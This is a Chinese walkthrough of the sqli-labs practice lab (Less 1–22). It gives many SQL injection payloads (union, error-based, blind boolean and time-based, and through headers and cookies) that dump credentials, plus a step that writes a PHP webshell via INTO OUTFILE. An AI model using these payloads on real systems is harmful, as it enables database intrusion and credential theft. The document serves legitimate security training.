BerL1n
BerL1n

sqli-labs（less1-less22）

http://127.0.0.1/sqli-labs-master

浅析MySQL中concat以及group_concat的使用；
mysql中group_concat函数用法；
concat和concat_ws()区别及MySQL的几个实用字符串函数

user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本

一、http://127.0.0.1/sqli-labs-master/Less-1/?id=1

1.手工UNION联合查询注入

输入单引号，页面报错，信息为''1'' LIMIT 0,1'，如下图所示

sqli-labs（less1-less22）_第1张图片
UH8}2~VP5RO%BUGR$67_Z(4.png

根据报错信息，可以确定输入参数的内容被存放到一对单引号中间，猜测咱们输入的1在数据库中出现的位置为：select ... from ... where id=’1’ ......，多余的步骤不多说了，直接开始爆数据吧。

爆表：
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

sqli-labs（less1-less22）_第2张图片
ZM46ND8MTXF)$XRJ7X3X7`H.png

爆列（字段）：
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

sqli-labs（less1-less22）_第3张图片
E}1QQS{BBH7AD}Y2BF56}79.png

爆值：
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+

sqli-labs（less1-less22）_第4张图片
AB7C`I_H8NJP{VTH2F9D_V3.png

2、手工报错型注入

爆表：
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

sqli-labs（less1-less22）_第5张图片
U@G)DV5)NAZ`0VF{[email protected]

爆列（字段）：
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

sqli-labs（less1-less22）_第6张图片
J_RLADB`WCI208{(}4`9WU0.png

爆值：
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

sqli-labs（less1-less22）_第7张图片
Z47$V9K8}OSJ~5RX4FMVGN1.png

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

sqli-labs（less1-less22）_第8张图片
Y3IUR~QV`X@IQ92T5$PUTTL.png

二、http://127.0.0.1/sqli-labs-master/Less-2/?id=1

输入单引号，根据报错信息确定咱们输入的内容被原封不动的带入到数据库中，也可叫做数字型注入，把第一题中id=1后面的单引号去掉，其它保持不变就行了，不再重复了......

三、http://127.0.0.1/sqli-labs-master/Less-3/?id=1

输入单引号，根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了，脑补一下咱们输入1在数据库语句中的位置，形如select ... from ... where id=(‘1’) ...，在第一题中id=1‘的后面单引号加上），其它保持不变就行了，不再重复了......

四、http://127.0.0.1/sqli-labs-master/Less-4/?id=1

输入单引号，页面无任何变化，尝试输入双引号，页面报错，根据报错信息判断出咱们输入的内容被放到一队双引号和圆括号中，脑补一下：select ... from ... where id=(”1”) ...，把第一题中1后面的引号换成双引号加）就可以了......

MYSQL注入天书之盲注讲解

0x7365637572697479=security的16进制，因为table_schema='security'需要用单引号，因为大部分Web应用程序防火墙都过滤了单引号，而转化为16进制之后就可以突破很多防火墙及防注入程序。

mysql的数据库information_schema，他是系统数据库，安装完就有，记录是当前数据库的数据库，表，列，用户权限等信息，下面说一下常用的几个表
SCHEMATA表:储存mysql所有数据库的基本信息，包括数据库名，编码类型路径等，show databases的结果取之此表。

TABLES表:储存mysql中的表信息，（当然也有数据库名这一列，这样才能找到哪个数据库有哪些表嘛）包括这个表是基本表还是系统表，数据库的引擎是什么，表有多少行，创建时间，最后更新时间等。show tables from schemaname的结果取之此表

COLUMNS表：提供了表中的列信息，（当然也有数据库名和表名称这两列）详细表述了某张表的所有列以及每个列的信息，包括该列是那个表中的第几列，列的数据类型，列的编码类型，列的权限，猎德注释等。是show columns from schemaname.tablename的结果取之此表。
Mysql数据库information_schema系统表说明

五、http://127.0.0.1/sqli-labs-master/Less-5/?id=1

使用报错注入:爆表：http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(),concat(0x3a,0x3a,( select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a--+

sqli-labs（less1-less22）_第9张图片
PPNZ$JA__AWRCBARX1`PG%X.png

爆列：http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(),concat(0x3a,0x3a,( select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name='users' limit 0,1),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a--+

sqli-labs（less1-less22）_第10张图片
W9TKR{MD7DC711_}UCD1QZC.png

爆值：http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a--+

sqli-labs（less1-less22）_第11张图片
3~QB`7L[F08LMYD(3]`RCZX.png

xpath函数报错注入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

sqli-labs（less1-less22）_第12张图片
XAFR4Y6440@G6JM~8IOWR(P.png

六、http://127.0.0.1/sqli-labs-master/Less-6/?id=1

把上一题的单引号换成双引号即可......

七、http://127.0.0.1/sqli-labs-master/Less-7/?id=1

本关的标题是dump into outfile,意思是本关我们利用文件导入的方式进行注入。使用此漏洞需要知道WEB程序的根路径并且MYSQL的secure-file-priv配置应为可写入该路径

这里首先还是回到源代码中去。重点放在对id参数的处理和sql语句上，从源代码中可以看到sql="SELECT∗FROMusersWHEREid=((′id')) LIMIT 0,1";
这里对id参数进行了 '))的处理。所以我们其实可以尝试')) or 1=1--+进行注入
http://127.0.0.1/sqllib/Less-7/?id=1')) or 1=1--+

sqli-labs（less1-less22）_第13张图片
)U4YH70%W{MWLR6_3$RB)$F.png

那我们这里利用上述提到的文件导入的方式进行演示：
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
这里可以通过在less1中获取网站的路径

sqli-labs（less1-less22）_第14张图片
HAY~%GW`WQYI6Q]_OMCHU`S.png

导入http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,'2','' into outfile 'E:\phpstudy\WWW\sqli-labs-master\Less-7\muma.php' --+

sqli-labs（less1-less22）_第15张图片
Z4Q32~FQ2TVP`RI7I54S)G6.png

这时虽然报错，但可以看到文件已经生成

sqli-labs（less1-less22）_第16张图片
U~H4GGIM1_$~WIU1QZ9NG0Z.png

那么可以直接上菜刀了

sqli-labs（less1-less22）_第17张图片
image
sqli-labs（less1-less22）_第18张图片
image

八、http://127.0.0.1/sqli-labs-master/Less-8/?id=1

sqli-labs（less1-less22）_第19张图片
EF$`BJMZW}[VM]M5SSUWM}O.png
sqli-labs（less1-less22）_第20张图片
CC`(WF@EIF@7V{~EO[V`S3P.png

没有任何提示，因为它把错误信息隐藏了，所以并不能用显错式注入，只能用盲注。
盲注需要掌握一些MySQL的相关函数：
length(str)：返回str字符串的长度。
substr(str, pos, len)：将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的，不是数组的0开始
mid(str,pos,len):跟上面的一样，截取字符串
ascii(str)：返回字符串str的最左面字符的ASCII代码值。
ord(str):同上，返回ascii码
if(a,b,c) :a为条件，a为true，返回b，否则返回c，如if(1>2,1,0),返回0

首先要记得常见的ASCII，A:65,Z:90 a:97,z:122, 0:48, 9:57

首先select database()查询数据库
ascii(substr((select database()),1,1))：返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64：ascii大于64就返回true，if就返回1，否则返回0

首先要记得常见的ASCII，A:65,Z:90 a:97,z:122, 0:48, 9:57

首先select database()查询数据库
ascii(substr((select database()),1,1))：返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64：ascii大于64就返回true，if就返回1，否则返回0

  1. http://localhost/sqli-labs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>64, 1, 0) %23
    或者这样就简单一点
  2. http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>64 %23

为什么这里是布尔型盲注呢，因为这里没把数据输出，只是$row有数据和无数据的时候显示的结果不一样

sqli-labs（less1-less22）_第21张图片
image

猜测数据库名字第一个字母：
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 --+

sqli-labs（less1-less22）_第22张图片
[email protected]

大于114时返回正确
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 --+
这时错误，说明ascii应该为115，即s,再接着推测第二个，然后可判断应该为security数据库，然后依次推出其他数据，比较麻烦。

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left(database(),1)='s' --+
返回正确，可确定第一个字母为s.

sqli-labs（less1-less22）_第23张图片
ON7@IN6Q7[E{9M]Q5C2OL0A.png

猜数据库名第一个字母具体过程，使用二分法

1.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确，大于64
1.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确，大于96
2.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确，小于123 ，区间在97-122
3.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确，大于109，区间在110-122
4.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误，所以在110-116之间
5.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确，大于112，区间在113-116之间
6.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确，大于114，间在115-116之间
7.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误，不大于115，即第一个字母的ascii为115，即字母s

盲注过程是漫长的，一般是自己写脚本或使用工具辅助

less 9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

判断为单引号基于时间的注入
判断数据库名的第一个字母为s（ascii为115），判断错误的话是暂停5秒
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(databse(),1,1))=115,1,sleep(5)) --+

sqli-labs（less1-less22）_第24张图片
P%6XLNNEVAAK}B4KKJK83G5.png

第一位为s
同样：http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(databse(),2,1))=101,1,sleep(5)) --+
第二位为e
以此类推，数据库名字为security

猜测security数据表

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5)) --+

sqli-labs（less1-less22）_第25张图片
99)W$O5P{ZIQMF9E5C`101Y.png

猜测数据表第一位为e,..以此类推，得到emails
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5)) --+
猜测数据表第一位为r,..以此类推，得到referers
..
同样方法获取其他表

猜测users列

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select table_column from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+
猜测第一个字符为i，依次推测出id,username,password

猜测username值

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select username from users limit 0,1),1,1))=68,1,sleep(5)) --+
猜测第一行的第一位，依次类推

less 10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

把上面的改成双引号就行

十一、 http://127.0.0.1/sqli-labs-master/Less-11/

这一关为post注入，post就是数据从客户端提交到服务器端，例如我们在登录过程中，输入用户名和密码，然后以表单的形式提交到服务器后在进行验证。这就是Post过程。
输入用户名密码都为为admin' ，然后报错

sqli-labs（less1-less22）_第26张图片
0_VTUIX%33FCZMKH5V6L@$C.png

从错误中分析到程序对参数进行单引号处理
然后输入: admin' or'1'='1#或'or 1=1#,密码随意。


sqli-labs（less1-less22）_第27张图片
W4{$A2IXLSFC@BH1~OIQ3BV.png

然后返回结果正确，原理是因为当我们提交username和password后台形成的sql语句为
@$sql="SELECT username, password FROM users WHERE username='admin'or'1'='1' #and password='$passwd' LIMIT 0,1";

后注释掉了，or1=1恒成立，所以语句成立，返回结果正确。

然后用union 注入进行尝试：
用户名：1admin' union select 1,database()#或uname=' union select 1,database()#&passwd=1
密码随意


sqli-labs（less1-less22）_第28张图片
图片.png

可以看到数据库为security

LESS-12

本关和11类似，在id参数的处理上有一定不同

先随便输入
用户：admin"
密码：随意
看会报什么错？


sqli-labs（less1-less22）_第29张图片
图片.png

可知这里的id进行了（“id”）的处理，
然后方法同上一题一样

LESS-13

输入
username:admin'
password:随意
然后发现报错：


sqli-labs（less1-less22）_第30张图片
图片.png

发现对id进行了')的处理。
然后输入用户名（密码随意）admin')会发现没有登录信息了。
这里用下布尔类型的盲注。
猜测数据库第一位：postdata中输入：
uname=')or 1=1 and left(database(),1)>'a'#&passwd=1


sqli-labs（less1-less22）_第31张图片
图片.png

返回结果正确，依次对每一位猜测，像之前的
题目一样，可以用二分法，降低尝试次数。

LESS-14

直接输入admin",密码随意，查看报错情况


sqli-labs（less1-less22）_第32张图片
图片.png

可知对id进行了" 的操作
和上题一样主要熟悉利用盲注
uname="or 1=1and left(database(),1)>'a'#&passwd=1或uname=admin"and left(database(),1)>'a'#&passwd=1


sqli-labs（less1-less22）_第33张图片
图片.png

可以登陆成功
再利用一下报错注入

uname="or 1=1 and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1


sqli-labs（less1-less22）_第34张图片
图片.png

可以看到报错，显示版本信息。
爆表：
uname="or 1=1 and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#&passwd=1
sqli-labs（less1-less22）_第35张图片
图片.png

爆列：
uname="or 1=1 and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))#&passwd=1
sqli-labs（less1-less22）_第36张图片
图片.png

爆值：
uname="or 1=1 and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))#&passwd=1
sqli-labs（less1-less22）_第37张图片
图片.png

LESS-15

本关没有错误提示，只能靠猜测注入。先从源代码中看到了

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

然后对id处理，使用延时注入
正确的时候直接登录，不正确的时候延时
猜测数据库第一位：
uname='or 1=1 and if(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=1


sqli-labs（less1-less22）_第38张图片
图片.png

返回成功，然后像之前的题目一样构造

LESS-16

和15一样，使用延时注入，从源代码中可以看到对id进行("id")处理其他与15一样

LESS-17

本关可以看到是一个修改密码的过程，利用update语句，与在用 select 时是一样的
尝试报错：
用户名：admin
密码：1'


sqli-labs（less1-less22）_第39张图片
图片.png

说明对密码的处理是' '
然后盲注
uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#


sqli-labs（less1-less22）_第40张图片
图片.png

可以看到报错信息，然后就可以像前面题目一样构造。

LESS-18

xpath教程
UpdateXml() MYSQL显错注入

本关由源代码可知对uname和passwd进行了check——input() 函数的处理，所以直接进行注入是不行的，但是在代码中可以的看到
$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)";
将useragent 和ip 插入到数据库中，可以修改useragent进行注入，使用ip不太方便，我们随便输入用户密码发现没什么反应，然后抓包修改useragent
首先正常登陆后我们可以看到：

sqli-labs（less1-less22）_第41张图片
图片.png

uname=admin1&passwd=admin1是用户名密码提交的登录数据，
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,database(),0x7e),1),1,1)# 是我们修改的useragent数据
sqli-labs（less1-less22）_第42张图片
图片.png

然后成功的爆出库名；
爆表：
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),1,1)#或Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '1'='1
sqli-labs（less1-less22）_第43张图片
图片.png

sqli-labs（less1-less22）_第44张图片
图片.png

爆列：
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' limit 0,1),0x7e),1),1,1)#或extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))and '1'='1


sqli-labs（less1-less22）_第45张图片
图片.png

sqli-labs（less1-less22）_第46张图片
图片.png

爆值：
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 2,1) a),0x7e),1),1,1)#

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,(select password from (select password from users limit 2,1) a),0x7e),1),1,1)#
或Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) and '1'='1


sqli-labs（less1-less22）_第47张图片
图片.png

sqli-labs（less1-less22）_第48张图片
图片.png

查版本：
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1


sqli-labs（less1-less22）_第49张图片
图片.png
也可用burpsuite抓包修改，方法一样。
sqli-labs（less1-less22）_第50张图片
图片.png

LESS-19

登陆之后我们可以看出是对referers进行注入

sqli-labs（less1-less22）_第51张图片
图片.png

然后抓包修改
http://127.0.0.1/sqli-labs-master/Less-19/1' AND extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
sqli-labs（less1-less22）_第52张图片
图片.png

这里获取了mysql路径，方法同18一样，其他自行构造。

LESS-20

从源代码中我们可以看到cookie从username获得值之后，当再次刷新时会从cookie中获取username,然后进行查询。
登陆成功后，我们修改cookie，再次刷新时，这时sql语句就会被修改了。


sqli-labs（less1-less22）_第53张图片
图片.png

这是登陆后的界面。
然后利用burp抓包修改cookie
Cookie:uname=admin1' and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
这里我们注入查看mysql路径。


sqli-labs（less1-less22）_第54张图片
图片.png

可以看到路径信息，说明注入成功，其他构造方法同18一样。

LESS-21

本关对cookie进行了base64的处理，其他同less20一样。


sqli-labs（less1-less22）_第55张图片
图片.png

抓包后修改cookie，将admin'进行base64编码后修改然后报错


sqli-labs（less1-less22）_第56张图片
图片.png

发现对uname进行了（'uname'）的处理.
base64编码处理：admin1') and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))# = YWRtaW4xJykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgQEBiYXNlZGlyKSwweDdlKSkj
sqli-labs（less1-less22）_第57张图片
图片.png

sqli-labs（less1-less22）_第58张图片
图片.png

已经成功查出mysql路径，同样方法构造爆出其他内容，同上题方法一样

LESS-22

本关和20、21是一致的，我们可以从源代码中看到对uame进行了"uname"的处理，可以构造payload:
admin1" and extractvalue(1,concat(0x7e,(select database()),0x7e))# = YWRtaW4xIiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkj


sqli-labs（less1-less22）_第59张图片
图片.png

sqli-labs（less1-less22）_第60张图片
图片.png

其他同上

你可能感兴趣的:(sqli-labs（less1-less22）)

  • Sqli-labs靶场第11关详解[Sqli-labs-less-11] 「已注销」 sqli-labs数据库web安全网络安全mysqlsql
    Sqli-labs-Less-11前言：SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用orderby来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version(
  • sqli-labs less17 password-update语句 Yix1a
    转自一位不知名大佬的笔记-----------------------------------less-17-----------------------------------原urlhttp://192.168.137.138/sqli-labs-master/Less-17/页面显示：[PASSWORDRESET]（密码重置）说明这个页面很有可能是使用了update语句很多网页有修改密码的功
  • Sqli-labs——lesson11 Shock397 Sqli-labs闯关安全
    在11关是登录界面了我们可以先用bp抓包来看它的post请求来再在Hackbar里面的postdata里面对数据进行操作1、在对uname的admin加上'后回显错误，说明此处存在注入漏洞2、首先先在username中验证：用or1=1#即可验证此处确实存在注入漏洞同样在password位也能验证出来3、验证成功后我们开始构造sql语句进行注入1）判断列数:输入orderby3回显错误，2正确，说
  • sqli-labs靶场安装 小红帽Like大灰狼 Kali网络安全sql靶场sql注入小皮搭建sqli-labs靶场
    1、下载小皮官网下载：https://www.xp.cn/2、安装小皮不要安装在有中文的目录下3、打开靶场，解压靶场靶场地址（我网盘分享了）sqli-labs靶场提取码：jctl**4、配置网站**5、浏览器访问网站安装成功
  • 《SQLi-Labs》05. Less 29~37 永别了，赛艾斯滴恩 lessandroid前端
    title:《SQLi-Labs》05.Less29~37date:2024-01-1722:49:10updated:2024-02-1218:09:10categories:WriteUp：Security-Labexcerpt:HTTP参数污染，联合注入、宽字节注入。comments:falsetags:top_image:/images/backimg/SunsetClimbing.png
  • 云服务器利用Docker搭建sqli-labs靶场环境
    在云服务器上利用Docker搭建sqli-labs靶场环境可以通过以下步骤完成：安装Docker：首先，你需要在你的云服务器上安装Docker。具体命令如下：sudoapt-getupdatesudoapt-getinstalldocker-ce拉取sqli-labs镜像：接下来，你需要从DockerHub上拉取sqli-labs的镜像。可以使用以下命令完成：dockerpullaudi1/sql
  • Sqli-Labs 通关笔记 神丶上单 数据库mysqlsql网络安全web
    文章目录07-SQL注入1.搭建sqli靶场2.完成SQLi-LABSPage-1**Less-1GET-Errorbased-Singlequotes-String(基于错误的GET单引号字符型注入)**1.获取当前数据库2.获取所有库名3.获取表名4.获取表的所有字段5.获取users表所有字段内容**Less-2GET-Errorbased-Intigerbased(基于错误的GET整型注入
  • sqli-labs环境安装及所遇到的坑 积极向上的三毛
    我们采用的是Sqli-labs+phpstudy的方式。1.下载phpstudy并解压安装，下载地址：https://www.xp.cn/download.html?utm_source=so注意：本机由于一开始下的版本过高，导致不兼容。以下为2016版。从网上查询得知，因为sqli-labs是很多年前的了，php版本过高会导致无法解析。2.Sqli-labs项目地址—Github获取：https
  • CTF--Web安全--SQL注入之Post-Union注入 给我杯冰美式 Web安全--SQL注入web安全sql安全
    一、手动POST注入实现绕过账号密码检测我们利用sqli-labs/Less-11靶场来进行演示：我们可以看到一个登录页面打开Less-11的根目录，我们打开页面的源代码(PHP实现)。用VS-code打开文件，找到验证登录信息的代码行。此形式的代码存在POST注入漏洞。我们可以注入一句万能密码。admin'or1=1#单看这句代码可能不是很直观，我们将这句万能密码写到源代码中进行观察。@$sql
  • CTF-Web安全--SQL注入之Union注入详解 给我杯冰美式 Web安全--SQL注入web安全sql安全
    一、测试靶场与使用工具浏览器：火狐浏览器--Firefox靶场：sqli-labs使用插件：HackBar操作环境：phpstudy二、判断字符型注入与数字型注入操作步骤：1、用F12打开控制台，打开HackBar,LoarURL，将当前靶场的URL信息复制到操作台上2、输入?id=1，观察到页面发生变化，显示的是id=1时数据库中的信息，？是用来分割URL和查询字符串的，查询到了id=1时的用户
  • Sqli-labs靶场1-5 777sea 网络安全技术学习sqlweb安全
    流程判断注入点和注入类型判断字段个数判断显示位爆库爆表爆字段名爆内容配置注意事项使用sqli-labs本地靶场，配置本地靶场需要注意的问题：数据库配置文件db-creds.incphp版本由于该靶场比较古早，所以php的版本要选择更低一点的，比如5.3.29Less-1单引号注入1.判断注入点和注入类型单引号报错?id=-1'--+2.查字段个数?id=1'orderby4--+3.判断显示位?i
  • CenOS6.5搭建sqli-labs-master靶场环境 Toert_T sql注入安全信息安全sql网络安全mysqlphp
    目录一、靶场搭建环境准备二、搭建过程0x1配置本地软件仓库0x2安装sqli-labs支持服务0x3部署sqli-labs靶场三、测试sqli-labs靶场环境一、靶场搭建环境准备sqli-labs-master是一套结合http+php+mysql环境的sql注入练习平台，里面有丰富的sql注入靶场环境虚拟机软件：VMware®Workstation16Pro虚拟机系统：Centos6.5虚拟网
  • sqli-labs-master靶场搭建详细过程（附下载链接） Sarahie 靶场网络安全
    1、下载地址：小皮：Windows版phpstudy下载-小皮面板(phpstudy)(xp.cn)Sqli：mirrors/audi-1/sqli-labs·GitCode2、安装小皮3、把sqli压缩包放进去解压，找到$dbpass=''单引号里面填root具体路径如下4、打开小皮，启动apache、mysql，访问：http://127.0.0.1/sqli-labs-master/搭建完成
  • SQL注入：sqli-labs靶场通关（1-37关） 未知百分百 安全数据库sql数据库通关网络安全安全web安全安全威胁分析
    SQL注入系列文章：初识SQL注入-CSDN博客SQL注入：联合查询的三个绕过技巧-CSDN博客SQL注入：报错注入-CSDN博客SQL注入：盲注-CSDN博客SQL注入：二次注入-CSDN博客SQL注入：orderby注入-CSDN博客SQL注入：宽字节注入-CSDN博客目录第1关（联合查询）第2关（数字型）第3关（'闭合）第4关（")闭合）第5关（报错注入）第6关（"闭合）第7关（secure
  • MAC下搭建PHP开发环境及sqli-labs安装 2mpossible
    为了学习web，首先要搭建php开发环境，由于我用的是mac，所以首选用MAMP来搭建首先确保互联网共享状态是关闭的，在系统偏好设置的共享里面设置然后安装MAMP安装好了会有MAMP和MAMPPRO，打开MAMP，StartServers在localhost:8888就会有我们的服务点击Preferences，在Ports修改Apache和Mysql端口为80和3306然后我为了方便更改我的默认目
  • sqli-labs第一关的闯关 修书成林 mysqlsqldatabase
    第一关：单引号错误SQL的注入最终是为了拿到数据库的文件或者数据。刚进页面，显示需要输入id。于是我们使用在地址栏后面加上?id=1第二行的黄色字体是我自己添加的内容，表示被传入mysql执行的语句（方便我加深理解），绿色字体是正常显示的内容。如果你也想要显示此语句，可以在安装目录下的此页面的php当中,加入这条语句echo“$sql”判断有无注入点：老规矩：加上and1=1；and1=2，看一下
  • sqli-labs第一关详解 纯新手向 含原理 On3_Thing
    Less-01为方便初学者理解，更改了sqli-labs的源码，以显示sql语句后期学习中需要自己推理初始页面在url后面用get传值id=1，随后能看到网页出现变化如下图不断更改上传id的值，会有不同的用户信息显示。按递增顺序直到14为止，即(1~14)判断注入点是否存在且能否使用一般使用单引号进行判断，加到url后面出现报错内容大致为LIMIT0,1附近有语法错误。为什么要使用单引号进行判断实
  • sqli-labs第一关 瓜子壳、 数据库
    1.判断是否存在注入，注入是字符型还是数字型??id=1and1=1?id=1and1=2因为输入and1=1与and1=2回显正常，所以该地方不是数字型。?id=1'?id=1'--+输入单引号后报错，在单引号后添加--+恢复正常，说明存在字符注入2.猜解SQL查询语句中的字段数?id=1'orderby3--+?id=1'orderby4--+利用二分法尝试，得到列数为33.确定回显位置将id
  • 安全小记-sqli-labs闯关 九字宸 安全
    1.安装靶场介绍：SQLI，sqlinjection，我们称之为sql注入。何为sql，英文：StructuredQueryLanguage，叫做结构化查询语言。常见的结构化数据库有MySQL，MSSQL,Oracle以及Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用sql语句进行管理应用数据库时，往往采用拼接的方式形成一条完整的数据库语言，而危险的是，在拼
  • sqli-labs闯关随记 拓海AE sqli-labs闯关sql数据库网络安全
    前言：做了sqli-labs的接近三十关，在这里简单做个总结，以下是自己在闯关中所学到的知识，包括在网上查询、参考别人文章以及资料所理解到的。这个随记比较杂乱，都是我边学边写的，希望大家凑合着看哈。会不定时更新，如果后面内容较多，会考虑分为上下篇。1、sql注入分类基于从服务器接收到的响应：基于错误的sql注入联合查询的类型堆查询注射sql盲注：基于布尔sql盲注基于时间的sql盲注基于报错的sq
  • sqli-labs闯关 鱼不知忆 安全
    目录1.安装靶场2.了解几个sql常用知识2.1联合查询union用法2.2MySQL中的通配符：2.3常用函数2.4数据分组3.mysql中重要的数据库和表4.开始闯关4.1Less-14.1.1首先进行一次常规的注入4.1.2深入解析1.安装靶场1.首先推荐使用github下载靶场源码https://github.com/Audi-1/sqli-labs2.接着你需要phpstudy即小皮面板
  • sqli-labs-master 下载、搭建 etc _ life 数据库
    sqli-labs-mastersqli-labs-master是一个帮助用户学习和测试SQL注入漏洞的开源项目。它提供了一系列的环境，用户可以在这些环境中进行实验，学习如何检测、利用和防御SQL注入攻击。sqli-labs下载地址：github.com/Audi-1/sqli-labs搭建搭建sqli-labs借助PHPstudy来完成，我们将下载好的sqli-labs-master包解压至PH
  • sqli-labs靶场第一关详解 赛sir 网络安全靶场sql靶场mysql
